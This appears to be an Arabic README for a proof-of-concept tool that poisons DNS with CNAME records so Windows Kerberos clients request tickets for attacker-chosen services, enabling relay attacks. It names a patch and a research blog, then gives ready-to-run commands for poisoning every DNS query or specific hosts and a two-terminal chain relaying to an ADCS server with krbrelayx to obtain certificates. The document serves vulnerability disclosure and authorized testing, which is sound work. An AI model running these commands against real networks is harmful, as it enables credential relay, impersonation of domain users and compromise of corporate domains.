
إساءة استخدام Kerberos CNAME PoC
هذه الأداة هي إثبات المفهوم لتقنية تتابع مصادقة Kerberos عبر إساءة استخدام CNAME، والمبنية على أداة MITM6.
كشف البحث عن ثغرة في سلوك عميل Kerberos في Windows: عند إرجاع سجل CNAME لنظام DNS، يتبع العميل الاسم المستعار ويبني طلب TGS باستخدام اسم المضيف من CNAME كـ SPN. وهذا يسمح للمهاجم الذي لديه موقع MITM على DNS بإجبار أي مستخدم في المجال على طلب تذكرة Kerberos لخدمة يختارها المهاجم، مما يتيح هجمات تتابع عند الطلب عبر بروتوكولات مختلفة ضد SMB وHTTP وخدمات أخرى حيث لا يتم فرض التوقيع أو ربط القناة.
على عكس تقنيات تتابع Kerberos السابقة التي كانت محدودة بحسابات الآلات أو تتطلب شروطاً محددة، تعمل هذه الطريقة بشكل موثوق ضد حسابات المستخدمين على إعدادات Windows الافتراضية. خففت Microsoft المخاطر بتطبيق تصحيح لفرض CBT على HTTPS وتمكين التوقيع افتراضياً للبروتوكولات المتأثرة. يتتبع الإصلاح باسم CVE-2026-20929 للحصول على التفاصيل الفنية الكاملة، ودليل الاستغلال، وتحليل التأثير، اطلع على منشور المدونة في Cymulate.
استخدم --cname-source لاستهداف نطاق معين يحاول الضحية الوصول إليه، أو --cname-source-all لتسميم كل استعلام DNS. كلاهما يتطلب --cname لتحديد اسم المضيف الهدف الذي سيُستخدم في استجابة CNAME (سيطلب الضحية بعد ذلك TGS لهذا اسم المضيف).
يقوم العلم --only-dns بتعطيل وظيفة خادم DHCPv6 وإعلانات الموجه الأصلية من mitm6. وهذا يسمح بدمج تسميم CNAME مع تقنيات MITM أخرى مثل تسميم ARP.
يقبل الخيار --passthrough ملفاً يحتوي على نطاقات يجب أن تحل إلى عناوين IP الحقيقية (التنسيق: domain:ip لكل سطر). مفيد للحفاظ على الاتصال بالبنية التحتية الحرجة مثل وحدات تحكم المجال (تجريبي).
pip install -r requirements.txt
تسميم كل استعلامات DNS بسجل CNAME يشير إلى هدف التتابع:
python mitm6-cname.py -i eth0 -d corp.local --cname-source-all --cname target.corp.local
تسميم الاستعلامات فقط لاسم مضيف محدد:
python mitm6-cname.py -i eth0 -d corp.local --cname-source fileserver.corp.local --cname adcs.corp.local
تخطي DHCPv6/RA عند استخدام تسميم ARP لـ DNS MITM:
python mitm6-cname.py -i eth0 --only-dns -d corp.local --cname-source-all --cname target.corp.local
# الطرفية 1: تسميم CNAME
python mitm6-cname.py -i eth0 -d corp.local --cname-source-all --cname adcs.corp.local
# الطرفية 2: التتابع إلى ADCS
krbrelayx.py -t http://adcs.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template User
هذه الأداة هي إثبات مفهوم غير إنتاجي مقدم لأغراض تعليمية واختبار أمني مصرح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. استخدمها على مسؤوليتك الخاصة وفقط ضد الأنظمة التي لديك إذن صريح لاختبارها.
MIT